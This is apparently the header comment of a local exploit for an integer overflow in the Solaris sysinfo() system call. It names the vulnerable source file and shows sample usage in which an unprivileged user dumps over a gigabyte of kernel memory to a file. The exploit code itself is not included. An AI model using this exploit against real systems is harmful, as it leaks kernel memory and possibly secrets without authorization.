Rated as : Critical

/* Sun Microsystems Solaris sysinfo() Kernel Memory Disclosure exploit
 * ===================================================================
 * Local exploitation of an integer overflow vulnerability in Sun
 * Microsystems Inc. Solaris allows attackers to read kernel memory from
a
 * non-privileged userspace process. The vulnerability specifically
exists
 * due to an integer overflow in /usr/src/uts/common/syscall/systeminfo.c
 *
 * Example Use.
 * $ uname -a 
 * SunOS sunos 5.11 snv_30 sun4u sparc SUNW,Ultra-250
 * $ ./prdelka-vs-SUN-sysinfo kbuf
 * [ Solaris <= 10 sysinfo() kernel memory information leak
 * [ Wrote 1294967293 bytes to kbuf
 * $ ls -al kbuf
 * -rwx------   1 user     other       1.2G Jul 21 23:56 kbuf
